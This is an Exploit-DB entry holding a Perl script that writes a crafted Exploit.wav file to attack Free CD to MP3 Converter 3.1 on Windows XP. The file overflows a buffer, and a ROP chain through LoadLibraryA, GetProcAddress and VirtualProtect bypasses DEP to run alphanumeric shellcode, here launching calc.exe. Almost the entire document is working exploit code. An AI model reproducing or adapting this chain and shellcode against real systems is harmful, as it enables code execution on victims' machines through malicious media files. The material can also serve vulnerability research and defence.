Exploit-DB #17634
Description: Free CD to MP3 Converter 3.1 - Universal DEP Bypass
Type: local
Platform: windows
Date: 2011-08-07
Author: C4SS!0 G0M3S

Exploit:
#!/usr/bin/perl
#
#[+]Exploit Title: Free CD to MP3 Converter 3.1 Universal DEP Bypass Exploit
#[+]Date: 07\08\2011
#[+]Author: C4SS!0 G0M3S
#[+]Version: 3.1
#[+]Tested On: WIN-XP SP3 Brazilian Portuguese
#[+]CVE: N/A
#
#Dep bypass method: 
#LoadLibraryA("kernel32.dll") + GetProcAddress(%EAX,"VirtualProtect") + VirtualProtect(%ESP,0x400,0x40,0x10007064) == Universal DEP BYPASS. :)
# 
#

print q{

		Created By C4SS!0 G0M3S	
		E-mail louredo_@hotmail.com
		Blog net-fuzzer.blogspot.com
		
};
sleep(2);
#Endereco para LoadLibraryA 0x672CA660
##################################ROP FOR LOAD "kernel32.dll"#############################################
my $rop = pack('V',0x00418764); # POP ESI # RETN  
$rop .= pack('V',0x672CA660); # Address to LoadLibraryA
$rop .= pack('V',0x00412d09); # POP EBP # RETN
$rop .= pack('V',0x004AD39B); # ADD ESP,24 # POP EBP # POP EDI # POP ESI # POP EBX # RETN  // Endereço de retorno da funçao LoadLibraryA
$rop .= pack('V',0x00472be9); # PUSHAD # POP EBX # RETN
$rop .= "kernel32.dll\x00";
$rop .= "A" x 27;
##################################ROP END HERE###########################################################

#Endereço para GetProcAddress 0x672CA668  
##################################ROP FOR Function GetProcAddress########################################
$rop .= pack('V',0x0048004d);  # POP EBP # RETN  
$rop .= "\x00\x00\x00\x00";
$rop .= pack('V',0x00409a7f);  # POP EDI # RETN
$rop .= pack('V',0x672CA668);  # Endereço para GetProcAddress
$rop .= pack('V',0x0042ad45);  # PUSH ESP # POP ESI # RETN
$rop .= pack('V',0x004a1b0e);  # POP ESI # RETN 
$rop .= pack('V',0x004AD39B);  # ADD ESP,24 # POP EBP # POP EDI # POP ESI # POP EBX # RETN  // Endereço de retorno da funçao GetProcAddress
$rop .= pack('V',0x00421953);  # ADD EBP,EAX # RETN
$rop .= pack('V',0x004c0634);  # PUSHAD # RETN 
$rop .= "VirtualProtect\x00";
$rop .= "A" x 25;
##################################ROP END HERE###########################################################

#################################ROP FOR VirtualProtect#################################################
$rop .= pack('V',0x0042c786);  # XCHG EAX,ESI # RETN // Endereço da VirtualProtect
$rop .= pack('V',0x004d2c70);  # POP EBP # RETN
$rop .= pack('V',0x0047E58B);  # JMP ESP // Endereço de retorno da funçao VirtualProtect
$rop .= pack('V',0x0046abf7);  # POP EBX # RETN
$rop .= pack('V',0x00000400);  # O valor de dwSize 
$rop .= pack('V',0x00402bb4);  # POP EDX # RETN 
$rop .= pack('V',0x00000040);  # Valor de flNewProtect
$rop .= pack('V',0x10002b9c);  # POP ECX # RETN 
$rop .= pack('V',0x10007064);  # Valor de lpflOldProtect
$rop .= pack('V',0x00472be9);  # PUSHAD # POP EBX # RETN 
#################################ROP END HERE###########################################################
my $shellcode = 
"PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIONMRU2SJXH9KHNHYD4FDK".
"D0XGC9YX1FRP1T0B2TCRPEBK3RJMNZ8GMLV879DONSVQXK7FWLCSIJ5VLO0WXWYWVLDO0O2SZGL62OVO".
"RP3N3DMMERZJDY3R9N0Q695JE6J3KEUYGM5LNQTR0EK3PUDYY0PN3MY3NQ4KX980PGSPPN3N5L3Q5RI9". #Shellcode Alpha Numeric WinExec "Calc.exe"
"GQ3J5M6MO9KMMOQ7OHZT2X2SLLUKOS1L6VDN6QKJWUGTV07YVMHMKQY4N5NG4WLE4QML9QWOOELVEXMQ". #Baseaddress EAX.
"2LFNN2UMWFWE2KSPLWK8OSWDJ1O8NOTGPQK1K0KJGZJ5OE8VCNW9T4Q2RUMOZ6NCTL9TSLKJNZKW0NMN".
"LSQMFWOHKHLLX7ON4SNZQ4NQO4QMVLNMZPVD89ULWKNTQMP0M1S3L6SNXMWBYNPPIT73NOXWKRRVZRN8".
"WDN0SUK8WOMV4DNNTWPYWN27KA";

my $buf = "A" x 4112;
$buf .= $rop;
$buf .= "\x8B\xC4\x83\xC0\x20\xFF\xD0".("A" x 21).$shellcode;
print "\t\t[+]Creating File Exploit.wav...\n";
sleep(1);
open(f,">Exploit.wav") || die "[-]Error: $!\n";
print f $buf;
close f;
print "\t\t[+]File Exploit.wav Created Successfully.\n";
sleep(1);